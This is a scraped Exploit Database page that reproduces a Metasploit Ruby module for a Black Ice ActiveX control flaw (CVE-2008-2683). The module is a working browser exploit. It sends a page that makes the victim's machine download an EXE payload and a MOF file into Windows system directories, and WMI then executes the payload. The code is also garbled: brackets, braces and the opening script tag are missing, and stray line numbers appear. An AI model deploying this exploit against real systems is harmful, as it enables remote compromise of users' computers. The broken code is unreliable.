Black Ice Cover Page – ActiveX Control Arbitrary File Download (Metasploit)

Exploit Database
141 阅读

作者： Metasploit

日期： 2011-06-21
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/17424/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

# $Id: blackice_downloadimagefileurl.rb 12992 2011-06-21 02:51:39Z sinn3r $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::EXE

include Msf::Exploit::WbemExec

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({

:os_name=> OperatingSystems::WINDOWS,

:javascript => true,

:rank => NormalRanking,

:vuln_test=> nil,

})

def initialize(info = {})

super(update_info(info,

'Name' => 'Black Ice Cover Page ActiveX Control Arbitrary File Download',

'Description'=> %q{

This module allows remote attackers to place arbitrary files on a users file system

by abusing the "DownloadImageFileURL" method in the Black Ice BIImgFrm.ocx ActiveX

Control (BIImgFrm.ocx 12.0.0.0).Code exeuction can be acheived by first uploading the

payload to the remote machine, and then upload another mof file, which enables Windows

Management Instrumentation service to execute the binary. Please note that this module

currently only works for Windows before Vista.Also, a similar issue is reported in

BIDIB.ocx (10.9.3.0) within the Barcode SDK.

'License'=> MSF_LICENSE,

'Author' =>

[

'shinnai',# original discovery

'mr_me',# msf

'sinn3r'# wbemexec tekniq

'Version'=> '$Revision: 12992 $',

'References' =>

[

[ 'CVE', '2008-2683'],

[ 'OSVDB', '46007'],

[ 'BID', '29577'],

[ 'URL', 'http://www.exploit-db.com/exploits/5750/' ],

'DefaultOptions' =>

{

'InitialAutoRunScript' => 'migrate -f',

'Payload'=>

{

'Space' => 2048,

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

#Windows before Vista

[ 'Automatic', { } ],

'DefaultTarget'=> 0,

'DisclosureDate' => 'Jun 05 2008'))

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

if request.uri.match(/\.EXE/)

print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")

send_response(cli, @payload, { 'Content-Type' => 'application/octet-stream' })

return

elsif request.uri.match(/\.MOF/)

return if @mof_name == nil or @payload_name == nil

print_status("Generating mof...")

mof = generate_mof(@mof_name, @payload_name)

print_status("Sending MOF to #{cli.peerhost}:#{cli.peerport}...")

send_response(cli, mof, {'Content-Type'=>'application/octet-stream'})

return

end

url ="http://"

url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

url += ":" + datastore['SRVPORT'] + get_resource() + "/"

#VBScript variables

clsid = "79956462-F148-497F-B247-DF35A095F80B"

method= "DownloadImageFileURL"

blackice= rand_text_alpha(rand(100) + 1) #BlackIce object ID

@payload_name = rand_text_alpha(rand(10) + 1) + ".EXE" #Payload name

payload_vbs_url_name= rand_text_alpha(5) #Payload's vbs var name

payload_vbs_lpath = rand_text_alpha(6) #Payload's lpath var name

@mof_name = rand_text_alpha(rand(10) + 1) + ".MOF" #MOF path on victim machine

mof_vbs_url_name= rand_text_alpha(5) #MOF's vbs var name

mof_vbs_lpath = rand_text_alpha(6) #MOF's lpath var name

sub_name= rand_text_alpha(rand(10) + 1)#Subroutine name

#Slow connection friendly: We will wait for 4 seconds before we try to execute our payload

#This delay seems necessary before calling mof, otherwise we end up interrupting downloading

#our payload

content = <<-EOS

<html>

sub #{sub_name}

#{mof_vbs_url_name} = "#{url}#{@mof_name}"

#{mof_vbs_lpath} = "C:\\WINDOWS\\system32\\wbem\\mof\\#{@mof_name}"

#{blackice}.#{method} #{mof_vbs_url_name}, #{mof_vbs_lpath}

end sub

#{payload_vbs_url_name} = "#{url}#{@payload_name}"

#{payload_vbs_lpath} = "C:\\WINDOWS\\system32\\#{@payload_name}"

#{blackice}.#{method} #{payload_vbs_url_name}, #{payload_vbs_lpath}

setTimeout "#{sub_name}()", 4000

</script>

</html>

EOS

#Clear the extra tabs

content = content.gsub(/^\t\t/, '')

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

send_response_html(cli, content)

handler(cli)

end

def exploit

@payload = generate_payload_exe

super

end